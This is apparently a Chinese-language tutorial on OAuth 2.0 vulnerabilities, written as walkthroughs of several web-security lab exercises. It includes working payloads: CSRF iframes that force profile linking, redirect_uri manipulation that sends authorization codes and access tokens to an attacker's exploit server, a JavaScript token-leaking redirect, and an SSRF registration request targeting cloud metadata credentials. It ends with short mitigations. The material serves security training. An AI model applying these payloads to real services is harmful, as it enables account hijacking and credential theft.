有一个问题困扰了很久很久，翻来覆去无法入眠，那就是OAuth2.0有什么安全问题啊？
OAuth2.0是一种常用的授权框架，它使网站和 Web 应用程序能够请求对另一个应用程序上的用户帐户进行有限访问，在全世界都有广泛运用。
OAuth2.0是授权的工业标准协议，该协议允许第三方应用程序对于服务的有限访问，例如常见的第三方登录就基于此协议
OAuth2.0常被应用于以下情景
1、应用于第三方应用登录，将受保护的用户资源授权给第三方信任用户，从而避免二次登录造成泄密
2、应用于多服务场景中，用于服务的统一登陆认证，对内部系统之间的资源请求进行权限管理
3、应用于开发平台场景中，对系统敏感资源进行安全认证和保护
1、密码与令牌（token）的作用是一样的，但令牌有其特点
用户无法自己修改
且一般来说token是短期的
可以被所有者撤销
token的权限一般是有限制的，而对于密码而言，其权限一般是完整权限
２、基于以上设计，OAuth2.0协议即可保证可以使得第三方应用获得权限使用，但又随时处于可控，这就是OAuth2.0的优点所在
首先了解一下大概结构
Client: 第三方应用
Resource Owner: 资源所有者
Authorization Server: 授权服务器
Resource Server: 拥有资源信息的服务器以下即为运行过程
OAuth的授权模式有五种
授权码模式|authorization code
简化模式|implicit
密码模式|resource owner password credentials
客户端模式|client credentials
在请求中一般存在response_type一类的参数，根据授权模式的不同，参数内容也会不同，这就是我们判断不同授权模式的重要依据
详情可见
四种授权模式，安全问题大多在authorization code模式和implicit模式发生，我们也可以对此着重了解
OAuth2.0的授权认证流程大部分情况下是没有问题的，但他缺少内置的安全功能，认证是否安全几乎完全取决于使用者的正确配置，例如是否对token进行数据绑定、是否对数据本身进行加密等，而且不同的授权方法有不同的1特点，而根据授权类型，即使是高度敏感的数据都会被通过浏览器发送，给了攻击者各种拦截数据的机会
主要可以通过两点判断
1、对数据进行抓包，基本所有的认证请求都是自/authorization开始，并且携带了类似于Client_id、redirect_uri等标志参数
2、是否可以使用第三方应用进行登录，如若可以，基都是采取OAuth2.0认证
当我们完成登录获取第三方资源时，是通过一个用户邮箱、ID进行识别，但如果第三方资源授权没有对此进行合理的认证，就有可能绕过授权服务器认证
1、靶场
Lab: Authentication bypass via OAuth implicit flow
2、解法
进行抓包，查看数据包的交互流程，在/authorization看到有邮箱、ID返回认证
可以尝试修改email和username
Forward发送，发现token并没有进行内容绑定，成功login
造成这个安全问题的主要原因是对OAuth组件的配置错误，比如state参数
这个参数可以类比于CSRF令牌token，一般是作为与会话信息相关联的一个hash值，作为客户端与服务端之间通信的token令牌，而当配置出现问题，攻击者就可以将受害者第三方登录信息绑定到自己的账号实现CSRF
1、靶场
Lab: Forced OAuth profile linking
2、解法
我们先正常登录
点击绑定social profile，对social media认证页面进行抓包，得到令牌code
我们可以先直接带上访问一下试试
这是因为我们还没有实现绑定登录，我们现在要做的就是让管理员登录时带上的是我们的code，这样我们就可以成功劫持管理员账号
我们重新抓取一个包拿到code，得到code后drop掉不让他成功登录认证
然后进入exploit修改body
<iframe src="https://you-Labe-URL/oauth-linking?code=xxxx"></iframe>发送给受害者，而后重新登录social media
成功登录admin
删掉carlos用户即可
我们正常登录认证后需要从认证页面重定向回到原本的页面，这里起到作用的就是redirect_uri参数，这是一个很合理的设计，但如果redirect_uri重定向回来的是其他地方，比如我们的攻击服务器，那么我们是不是可以窃取到一些敏感信息，例如我们上一道题登录admin用到的code
与上一题不同的点在于，前者是攻击者生成了token让admin绑定，这里是让admin生成token攻击者拿到去进行绑定
1、靶场
Lab: OAuth account hijacking via redirect_uri
2、解法
我们抓包可以看到很多个参数，返回的response有个重定向回到原本的登陆页面
我们可以先简单测试一下，把redirect_uri参数换成我们的攻击服务器
访问抓包
callback
可以看到host变成了我们的攻击服务器，这就是问题所在
我们进入exploit修改body
<iframe src="https://oauth-0ab7002704013c25c0e609d702b200d8.web-security-academy.net/auth?client_id=vna7ueijoqkr7uoxz68yl&redirect_uri=https://exploit-0ad700bf04bc3c4bc0f9097701db00da.web-security-academy.net&response_type=code&scope=openid%20profile%20email"></iframe>修改redirect_uri重定向回我们的exploit，store存储一下，然后view exploit预览一下
确认可以后发送给受害者，然后查看log，可以看到就能窃取到code
然后根据包的发送流程，将code进行修改callback回去
https://0a9f002504223c0dc09209d200340068.web-security-academy.net/oauth-callback?code=FXCVQ2aBY087fAtUfkhq_hoW6Iifug0OlkGcHO31Do6成功登录admin，删除用户就行
与上一道类似，但是这里加入了对重定向redirect_uri参数的检测，限制url为client app，这时候可以通过在client app中寻找open redirect漏洞，再搭配CSRF得到code实现越权
1、靶场
Lab: Stealing OAuth access tokens via an open redirect
2、解法
抓包然后查找apikey，发现在/me路径，放入repeater
测试redirect_uri，发现是以白名单进行验证，无法以外域作为重定向提供，同时发现存在目录遍历漏洞
进行寻找漏洞利用点，发现每个blog下方均有一个post点，易受目录遍历，选择进行测试
抓包放入repeater中测试，发现可以重定向到外域，这样我们就可以利用1这个重定向到我们的攻击服务器，进行敏感数据的窃取
我们修改url重定向回exploit
https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit&response_type=token&nonce=399721827&scope=openid%20profile%20email
进行访问，成功返回hello，world
这样我们就可以编写script，让admin登录从而泄露token
<script>
if (!document.location.hash) {
window.location = 'https://YOUR-LAB-AUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email'
} else {
window.location = '/?'+document.location.hash.substr(1)
}
</script>
发送给受害者后进入access log，得到access_token
将access_token替换到/me路径的Authorization: Bearer标头中的token
发送即可得到apikey，提交即可
当OAuth存在专用注册端点来运行客户端自行注册，而OAuth服务又以一种不安全的方式来传递、使用某些特定于客户端的数据，就可能存在SSRF漏洞，出现密钥的泄露
1、靶场
Lab: SSRF via OpenID dynamic client registration
2、解法
首先我们需要了解的是在OAuth服务开发中，存在这样一类文件
/.well-known/openid-configuration（类似的url还有/.well-known/oauth-authorization-server和/.well-known/jwks.json）他们存储着一些相关的配置
我们尝试访问
https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/.well-known/openid-configuration
可以发现/reg是注册点，我们可以在repeater中创建一个post请求向OAuth请求注册，而这其中必须提供至少一个redirect_uris数组
传参后我们可以看到服务器给我们返回了client_id和一系列数据
我们继续翻看配置参数，其中最有可能存在SSRF的url参数就是logo_uri
我们可以进行尝试，启动Burp Collaborator client
POST /reg HTTP/1.1
Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net
Content-Type: application/json
{
"redirect_uris" : [
"https://example.com"
],
"logo_uri" : "https://BURP-COLLABORATOR-SUBDOMAIN"
}
发现可以成功携带数据
当我们拿着生成的client_id去访问的时候我们也可以发现确实会携带出一些特殊数据
/client/CLIENT-ID/logo
那当我们修改logo_uri为其他url时，我们就可以携带出我们想要的东西了，而题目已经给出了攻击服务器的url，我们替换一下
POST /reg HTTP/1.1
Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net
Content-Type: application/json
{
"redirect_uris" : [
"https://example.com"
],
"logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}
得到key
使用白名单检验redirect_url参数
检验state参数是否存在
ccess token和client_id是否匹配，同时验证access token的访问范围
修复client端的开放重定向漏洞，防止auth code的泄露
